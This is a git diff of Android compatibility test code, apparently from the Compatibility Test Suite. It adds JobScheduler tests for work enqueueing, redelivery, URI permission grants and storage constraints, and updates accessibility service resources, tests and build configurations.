+    public static final int ENQUEUE_WORK_JOB_ID = EnqueueJobWorkTest.class.hashCode();
+
+    private JobInfo.Builder mBuilder;
+    private ContentProviderClient mProvider;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mBuilder = new JobInfo.Builder(ENQUEUE_WORK_JOB_ID, kJobServiceComponent);
+        mProvider = getContext().getContentResolver().acquireContentProviderClient(mFirstUri);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        mProvider.close();
+        mJobScheduler.cancel(ENQUEUE_WORK_JOB_ID);
+    }
+
+    private boolean intentEquals(Intent i1, Intent i2) {
+        if (i1 == i2) {
+            return true;
+        }
+        if (i1 == null || i2 == null) {
+            return false;
+        }
+        return i1.filterEquals(i2);
+    }
+
+    private void compareWork(TestWorkItem[] expected, ArrayList<JobWorkItem> received) {
+        if (received == null) {
+            fail("Didn't receive any expected work.");
+        }
+        ArrayList<TestWorkItem> expectedArray = new ArrayList<>();
+        for (int i = 0; i < expected.length; i++) {
+            expectedArray.add(expected[i]);
+        }
+        for (int i = 0; i < received.size(); i++) {
+            JobWorkItem work = received.get(i);
+            if (i < expected.length && expected[i].subitems != null) {
+                TestWorkItem[] sub = expected[i].subitems;
+                for (int j = 0; j < sub.length; j++) {
+                    expectedArray.add(sub[j]);
+                }
+            }
+            if (i >= expectedArray.size()) {
+                fail("Received more than " + expected.length + " work items, first extra is "
+                        + work);
+            }
+            if (!intentEquals(work.getIntent(), expectedArray.get(i).intent)) {
+                fail("Received work #" + i + " " + work.getIntent() + " but expected " + expected[i]);
+            }
+            if (work.getDeliveryCount() != expectedArray.get(i).deliveryCount) {
+                fail("Received work #" + i + " " + work.getIntent() + " delivery count is "
+                        + work.getDeliveryCount() + " but expected "
+                        + expectedArray.get(i).deliveryCount);
+            }
+        }
+        if (received.size() < expected.length) {
+            fail("Received only " + received.size() + " work items, but expected "
+                            + expected.length);
+        }
+    }
+
+    /**
+     * Test basic enqueueing of work.
+     */
+    public void testEnqueueOneWork() throws Exception {
+        Intent work1 = new Intent("work1");
+        TestWorkItem[] work = new TestWorkItem[] { new TestWorkItem(work1) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+        mJobScheduler.enqueue(mBuilder.setOverrideDeadline(0).build(), new JobWorkItem(work1));
+        kTestEnvironment.readyToWork();
+        assertTrue("Job with work enqueued did not fire.",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+        if (kTestEnvironment.getLastErrorMessage() != null) {
+            fail(kTestEnvironment.getLastErrorMessage());
+        }
+    }
+
+    /**
+     * Test basic enqueueing batches of work.
+     */
+    public void testEnqueueMultipleWork() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        Intent work3 = new Intent("work3");
+        Intent work4 = new Intent("work4");
+        Intent work5 = new Intent("work5");
+        Intent work6 = new Intent("work6");
+        Intent work7 = new Intent("work7");
+        Intent work8 = new Intent("work8");
+        TestWorkItem[] work = new TestWorkItem[] {
+                new TestWorkItem(work1), new TestWorkItem(work2), new TestWorkItem(work3),
+                new TestWorkItem(work4), new TestWorkItem(work5), new TestWorkItem(work6),
+                new TestWorkItem(work7), new TestWorkItem(work8) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+        JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work7));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work8));
+        kTestEnvironment.readyToWork();
+        assertTrue("Job with work enqueued did not fire.",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
+     * Test basic enqueueing batches of work, with new work coming in while processing existing
+     * work.
+     */
+    public void testEnqueueMultipleSubWork() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        Intent work3 = new Intent("work3");
+        Intent work4 = new Intent("work4");
+        Intent work5 = new Intent("work5");
+        Intent work6 = new Intent("work6");
+        Intent work7 = new Intent("work7");
+        Intent work8 = new Intent("work8");
+        JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+        TestWorkItem[] work = new TestWorkItem[]{
+                new TestWorkItem(work1), new TestWorkItem(work2), new TestWorkItem(work3),
+                new TestWorkItem(work4, ji, new TestWorkItem[] {
+                        new TestWorkItem(work5), new TestWorkItem(work6),
+                        new TestWorkItem(work7), new TestWorkItem(work8)})
+        };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+        kTestEnvironment.readyToWork();
+        assertTrue("Job with work enqueued did not fire.",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
+     * Test job getting stopped while processing work and that work being redelivered.
+     */
+    public void testEnqueueMultipleRedeliver() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        Intent work3 = new Intent("work3");
+        Intent work4 = new Intent("work4");
+        Intent work5 = new Intent("work5");
+        Intent work6 = new Intent("work6");
+        TestWorkItem[] initialWork = new TestWorkItem[] {
+                new TestWorkItem(work1), new TestWorkItem(work2), new TestWorkItem(work3),
+                new TestWorkItem(work4, TestWorkItem.FLAG_WAIT_FOR_STOP, 1) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForStop();
+        kTestEnvironment.setExpectedWork(initialWork);
+        JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+        kTestEnvironment.readyToWork();
+
+        // Now wait for the job to get to the point where it is processing the last
+        // work and waiting for it to be stopped.
+        assertTrue("Job with work enqueued did not wait to stop.",
+                kTestEnvironment.awaitWaitingForStop());
+
+        // Cause the job to timeout (stop) immediately, and wait for its execution to finish.
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler timeout "
+                + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+        assertTrue("Job with work enqueued did not finish.",
+                kTestEnvironment.awaitExecution());
+        compareWork(initialWork, kTestEnvironment.getLastReceivedWork());
+
+        // Now we are going to add some more work, restart the job, and see if it correctly
+        // redelivers the last work and delivers the new work.
+        TestWorkItem[] finalWork = new TestWorkItem[] {
+                new TestWorkItem(work4, 0, 2), new TestWorkItem(work5), new TestWorkItem(work6) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(finalWork);
+        mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+        kTestEnvironment.readyToWork();
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run "
+                + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+
+        assertTrue("Restarted with work enqueued did not execute.",
+                kTestEnvironment.awaitExecution());
+        compareWork(finalWork, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
+     * Test basic enqueueing batches of work.
+     */
+    public void testEnqueueMultipleUriGrantWork() throws Exception {
+        // Start out with storage low, so job is enqueued but not executed yet.
+        setStorageState(true);
+
+        // We need to get a permission grant so that we can grant it to ourself.
+        mProvider.call("grant", MY_PACKAGE, mFirstUriBundle);
+        mProvider.call("grant", MY_PACKAGE, mSecondUriBundle);
+        assertHasUriPermission(mFirstUri, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertHasUriPermission(mSecondUri, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+        Intent work1 = new Intent("work1");
+        work1.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        work1.setData(mFirstUri);
+        work1.setClipData(mSecondClipData);
+
+        Intent work2 = new Intent("work2");
+        work2.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        work2.setData(mFirstUri);
+
+        TestWorkItem[] work = new TestWorkItem[] {
+                new TestWorkItem(work1, new Uri[] { mFirstUri, mSecondUri}, new Uri[0]),
+                new TestWorkItem(work2, new Uri[] { mFirstUri }, new Uri[] { mSecondUri}) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+        JobInfo ji = mBuilder.setOverrideDeadline(0).setRequiresStorageNotLow(true).build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+
+        // Remove the explicit grant, we should still have a grant due to the job.
+        mProvider.call("revoke", MY_PACKAGE, mFirstUriBundle);
+        mProvider.call("revoke", MY_PACKAGE, mSecondUriBundle);
+        assertHasUriPermission(mFirstUri, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+        assertHasUriPermission(mSecondUri, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+
+        kTestEnvironment.readyToWork();
+
+        // Now allow the job to run.
+        setStorageState(false);
+
+        assertTrue("Job with work enqueued did not fire.",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+
+        // And wait for everything to be cleaned up.
+        waitPermissionRevoke(mFirstUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000);
+        waitPermissionRevoke(mSecondUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000);
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
new file mode 100644
index 0000000..d2d9cae
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.os.SystemClock;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+/**
+ * Schedules jobs with the {@link android.app.job.JobScheduler} that have storage constraints.
+ */
+@TargetApi(26)
+public class StorageConstraintTest extends ConstraintTest {
+    private static final String TAG = "StorageConstraintTest";
+
+    /** Unique identifier for the job scheduled by this suite of tests. */
+    public static final int STORAGE_JOB_ID = StorageConstraintTest.class.hashCode();
+
+    private JobInfo.Builder mBuilder;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mBuilder = new JobInfo.Builder(STORAGE_JOB_ID, kJobServiceComponent);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        mJobScheduler.cancel(STORAGE_JOB_ID);
+    }
+
+    String getJobState() throws Exception {
+        return getJobState(STORAGE_JOB_ID);
+    }
+
+    void assertJobReady() throws Exception {
+        assertJobReady(STORAGE_JOB_ID);
+    }
+
+    void assertJobWaiting() throws Exception {
+        assertJobWaiting(STORAGE_JOB_ID);
+    }
+
+    void assertJobNotReady() throws Exception {
+        assertJobNotReady(STORAGE_JOB_ID);
+    }
+
+    // --------------------------------------------------------------------------------------------
+    // Positives - schedule jobs under conditions that require them to pass.
+    // --------------------------------------------------------------------------------------------
+
+    /**
+     * Schedule a job that requires the device storage is not low, when it is actually not low.
+     */
+    public void testNotLowConstraintExecutes() throws Exception {
+        setStorageState(false);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForRun();
+        mJobScheduler.schedule(mBuilder.setRequiresStorageNotLow(true).build());
+        assertJobReady();
+        kTestEnvironment.readyToRun();
+
+        assertTrue("Job with storage not low constraint did not fire when storage not low.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    // --------------------------------------------------------------------------------------------
+    // Negatives - schedule jobs under conditions that require that they fail.
+    // --------------------------------------------------------------------------------------------
+
+    /**
+     * Schedule a job that requires the device storage is not low, when it actually is low.
+     */
+    public void testNotLowConstraintFails() throws Exception {
+        setStorageState(true);
+
+        kTestEnvironment.setExpectedExecutions(0);
+        kTestEnvironment.setExpectedWaitForRun();
+        mJobScheduler.schedule(mBuilder.setRequiresStorageNotLow(true).build());
+        assertJobWaiting();
+        assertJobNotReady();
+        kTestEnvironment.readyToRun();
+
+        assertFalse("Job with storage now low constraint fired while low.",
+                kTestEnvironment.awaitExecution(250));
+
+        // And for good measure, ensure the job runs once storage is okay.
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForRun();
+        setStorageState(false);
+        assertJobReady();
+        kTestEnvironment.readyToRun();
+        assertTrue("Job with storage not low constraint did not fire when storage not low.",
+                kTestEnvironment.awaitExecution());
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java
index 32959a0..fe48950 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java
@@ -42,7 +42,7 @@
  */
 @TargetApi(23)
 public class TriggerContentTest extends ConstraintTest {
-    public static final int TRIGGER_CONTENT_JOB_ID = ConnectivityConstraintTest.class.hashCode();
+    public static final int TRIGGER_CONTENT_JOB_ID = TriggerContentTest.class.hashCode();
 
     // The root URI of the media provider, to monitor for generic changes to its content.
     static final Uri MEDIA_URI = Uri.parse("content://" + MediaStore.AUTHORITY + "/");
@@ -120,7 +120,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         super.tearDown();
         for (int i=0; i<mActiveFiles.length; i++) {
             cleanupActive(i);
@@ -243,8 +243,8 @@
         JobInfo triggerJob = makeJobInfo(uribase,
                 JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS);
         kTriggerTestEnvironment.setExpectedExecutions(1);
-        kTriggerTestEnvironment.setMode(TriggerContentJobService.TestEnvironment.MODE_ONE_REPEAT,
-                triggerJob);
+        kTriggerTestEnvironment.setMode(
+                TriggerContentJobService.TestEnvironment.MODE_ONE_REPEAT_RESCHEDULE, triggerJob);
         mJobScheduler.schedule(triggerJob);
 
         // Report changes.
@@ -290,8 +290,8 @@
         // Start watching.
         JobInfo triggerJob = makeJobInfo(uribase, 0);
         kTriggerTestEnvironment.setExpectedExecutions(1);
-        kTriggerTestEnvironment.setMode(TriggerContentJobService.TestEnvironment.MODE_ONE_REPEAT,
-                triggerJob);
+        kTriggerTestEnvironment.setMode(
+                TriggerContentJobService.TestEnvironment.MODE_ONE_REPEAT_RESCHEDULE, triggerJob);
         mJobScheduler.schedule(triggerJob);
 
         // Report changes.
@@ -327,14 +327,80 @@
         assertEquals(DummyJobContentProvider.AUTHORITY, auths[0]);
     }
 
-    public void testPhotoAdded() throws Exception {
+    public void testPhotoAdded_Reschedule() throws Exception {
         JobInfo triggerJob = makePhotosJobInfo();
 
         kTriggerTestEnvironment.setExpectedExecutions(1);
-        kTriggerTestEnvironment.setMode(TriggerContentJobService.TestEnvironment.MODE_ONE_REPEAT,
+        kTriggerTestEnvironment.setMode(
+                TriggerContentJobService.TestEnvironment.MODE_ONE_REPEAT_RESCHEDULE, triggerJob);
+        mJobScheduler.schedule(triggerJob);
+
+        // Create a file that our job should see.
+        makeActiveFile(0, new File(DCIM_DIR, PIC_1_NAME),
+                getContext().getResources().getAssets().open("violet.jpg"));
+        assertNotNull(mActiveUris[0]);
+
+        // Wait for the job to wake up with the change and verify it.
+        boolean executed = kTriggerTestEnvironment.awaitExecution();
+        kTriggerTestEnvironment.setExpectedExecutions(1);
+        assertTrue("Timed out waiting for trigger content.", executed);
+        JobParameters params = kTriggerTestEnvironment.getLastJobParameters();
+        Uri[] uris = params.getTriggeredContentUris();
+        assertUriArrayLength(1, uris);
+        assertEquals(mActiveUris[0], uris[0]);
+        String[] auths = params.getTriggeredContentAuthorities();
+        assertEquals(1, auths.length);
+        assertEquals(MediaStore.AUTHORITY, auths[0]);
+
+        // While the job is still running, create another file it should see.
+        // (This tests that it will see changes that happen before the next job
+        // is scheduled.)
+        makeActiveFile(1, new File(DCIM_DIR, PIC_2_NAME),
+                getContext().getResources().getAssets().open("violet.jpg"));
+        assertNotNull(mActiveUris[1]);
+
+        // Wait for the job to wake up and verify it saw the change.
+        executed = kTriggerTestEnvironment.awaitExecution();
+        assertTrue("Timed out waiting for trigger content.", executed);
+        params = kTriggerTestEnvironment.getLastJobParameters();
+        uris = params.getTriggeredContentUris();
+        assertUriArrayLength(1, uris);
+        assertEquals(mActiveUris[1], uris[0]);
+        auths = params.getTriggeredContentAuthorities();
+        assertEquals(1, auths.length);
+        assertEquals(MediaStore.AUTHORITY, auths[0]);
+
+        // Schedule a new job to look at what we see when deleting the files.
+        kTriggerTestEnvironment.setExpectedExecutions(1);
+        kTriggerTestEnvironment.setMode(TriggerContentJobService.TestEnvironment.MODE_ONESHOT,
                 triggerJob);
         mJobScheduler.schedule(triggerJob);
 
+        // Delete the files.  Note that this will result in a general change, not for specific URIs.
+        cleanupActive(0);
+        cleanupActive(1);
+
+        // Wait for the job to wake up and verify it saw the change.
+        executed = kTriggerTestEnvironment.awaitExecution();
+        assertTrue("Timed out waiting for trigger content.", executed);
+        params = kTriggerTestEnvironment.getLastJobParameters();
+        uris = params.getTriggeredContentUris();
+        assertUriArrayLength(1, uris);
+        assertEquals(MEDIA_EXTERNAL_URI, uris[0]);
+        auths = params.getTriggeredContentAuthorities();
+        assertEquals(1, auths.length);
+        assertEquals(MediaStore.AUTHORITY, auths[0]);
+    }
+
+    // Doesn't work.  Should it?
+    public void xxxtestPhotoAdded_FinishTrue() throws Exception {
+        JobInfo triggerJob = makePhotosJobInfo();
+
+        kTriggerTestEnvironment.setExpectedExecutions(1);
+        kTriggerTestEnvironment.setMode(
+                TriggerContentJobService.TestEnvironment.MODE_ONE_REPEAT_FINISH_TRUE, triggerJob);
+        mJobScheduler.schedule(triggerJob);
+
         // Create a file that our job should see.
         makeActiveFile(0, new File(DCIM_DIR, PIC_1_NAME),
                 getContext().getResources().getAssets().open("violet.jpg"));
diff --git a/tests/ProcessTest/Android.mk b/tests/ProcessTest/Android.mk
index 4baefc8..5611b3b 100644
--- a/tests/ProcessTest/Android.mk
+++ b/tests/ProcessTest/Android.mk
@@ -29,8 +29,6 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
-
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index d05ff7c..e55c0dd 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -24,8 +24,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner compatibility-device-util legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/acceleration/AndroidTest.xml b/tests/acceleration/AndroidTest.xml
index 1786c8e..01ff4cc 100644
--- a/tests/acceleration/AndroidTest.xml
+++ b/tests/acceleration/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Acceleration test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="location" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAccelerationTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.acceleration.cts" />
+        <option name="runtime-hint" value="13m" />
     </test>
 </configuration>
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index 1bcc20d..7af9d90 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsAccessibilityTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index 26ac267..9a9f727 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -43,6 +43,16 @@
             <meta-data android:name="android.accessibilityservice"
                        android:resource="@xml/vibrating_accessibilityservice" />
         </service>
+
+        <service android:name=".SpeakingAndVibratingAccessibilityService"
+                 android:label="@string/title_speaking_and_vibrating_accessibility_service"
+                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+            </intent-filter>
+            <meta-data android:name="android.accessibilityservice"
+                       android:resource="@xml/speaking_and_vibrating_accessibilityservice" />
+        </service>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index b6c8ab5..66bde82 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Accessibility test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAccessibilityTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.view.accessibility.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/accessibility/res/values/strings.xml b/tests/accessibility/res/values/strings.xml
index 47ba12c..293d5b0 100644
--- a/tests/accessibility/res/values/strings.xml
+++ b/tests/accessibility/res/values/strings.xml
@@ -23,7 +23,13 @@
     <!-- String title for the vibrating accessibility service -->
     <string name="title_vibrating_accessibility_service">Vibrating Accessibility Service</string>
 
+    <!-- String title for the vibrating accessibility service -->
+    <string name="title_speaking_and_vibrating_accessibility_service">Speaking and Vibrating Accessibility Service</string>
+
     <!-- Description of the speaking accessibility service -->
     <string name="some_description">Some description</string>
 
+    <!-- Summary of the speaking accessibility service -->
+    <string name="some_summary">Some summary</string>
+
 </resources>
diff --git a/tests/accessibility/res/xml/speaking_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
index c60fb54..a58a53e 100644
--- a/tests/accessibility/res/xml/speaking_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
@@ -16,10 +16,10 @@
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
     android:accessibilityEventTypes="typeAllMask"
     android:accessibilityFeedbackType="feedbackSpoken"
-    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagRequestEnhancedWebAccessibility|flagReportViewIds|flagRequestFilterKeyEvents"
+    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagReportViewIds|flagRequestFilterKeyEvents"
     android:canRetrieveWindowContent="true"
     android:canRequestTouchExplorationMode="true"
     android:canRequestFilterKeyEvents="true"
-    android:canRequestEnhancedWebAccessibility="true"
     android:settingsActivity="foo.bar.Activity"
-    android:description="@string/some_description" />
+    android:description="@string/some_description"
+    android:summary="@string/some_summary" />
diff --git a/tests/accessibility/res/xml/speaking_and_vibrating_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_and_vibrating_accessibilityservice.xml
new file mode 100644
index 0000000..4710754
--- /dev/null
+++ b/tests/accessibility/res/xml/speaking_and_vibrating_accessibilityservice.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accessibilityEventTypes="typeAllMask"
+    android:accessibilityFeedbackType="feedbackSpoken|feedbackHaptic"
+    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagRequestEnhancedWebAccessibility|flagReportViewIds|flagRequestFilterKeyEvents"
+    android:canRetrieveWindowContent="true"
+    android:canRequestTouchExplorationMode="true"
+    android:canRequestFilterKeyEvents="true"
+    android:canRequestEnhancedWebAccessibility="true"
+    android:settingsActivity="foo.bar.Activity"
+    android:description="@string/some_description"
+    android:summary="@string/some_summary" />
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index db4e54b..aa9db4f 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -19,6 +19,7 @@
 import android.os.Message;
 import android.os.Parcel;
 import android.test.suitebuilder.annotation.SmallTest;
+import android.text.TextUtils;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityRecord;
@@ -158,7 +159,25 @@
         assertEqualsAccessiblityEvent(marshaledEvent, unmarshaledEvent);
     }
 
+    /**
+     * While CharSequence is immutable, some classes implementing it are mutable. Make sure they
+     * can't change the object by changing the objects backing CharSequence
+     */
+    @SmallTest
+    public void testChangeTextAfterSetting_shouldNotAffectEvent() {
+        final String originalText = "Cassowary";
+        final String newText = "Hornbill";
+        AccessibilityEvent event = AccessibilityEvent.obtain();
+        StringBuffer updatingString = new StringBuffer(originalText);
+        event.setBeforeText(updatingString);
+        event.setContentDescription(updatingString);
 
+        updatingString.delete(0, updatingString.length());
+        updatingString.append(newText);
+
+        assertTrue(TextUtils.equals(originalText, event.getBeforeText()));
+        assertTrue(TextUtils.equals(originalText, event.getContentDescription()));
+    }
 
     /**
      * Fully populates the {@link AccessibilityEvent} to marshal.
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 1256546..6a4efd8 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -18,15 +18,19 @@
 
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Service;
+import android.content.Context;
 import android.content.pm.ServiceInfo;
-import android.cts.util.PollingCheck;
+import android.os.Handler;
 import android.test.InstrumentationTestCase;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityManager.AccessibilityStateChangeListener;
 import android.view.accessibility.AccessibilityManager.TouchExplorationStateChangeListener;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.List;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Class for testing {@link AccessibilityManager}.
@@ -39,15 +43,23 @@
     private static final String VIBRATING_ACCESSIBLITY_SERVICE_NAME =
         "android.view.accessibility.cts.VibratingAccessibilityService";
 
+    private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME =
+        "android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService";
+
     private static final long WAIT_FOR_ACCESSIBILITY_ENABLED_TIMEOUT = 3000; // 3s
 
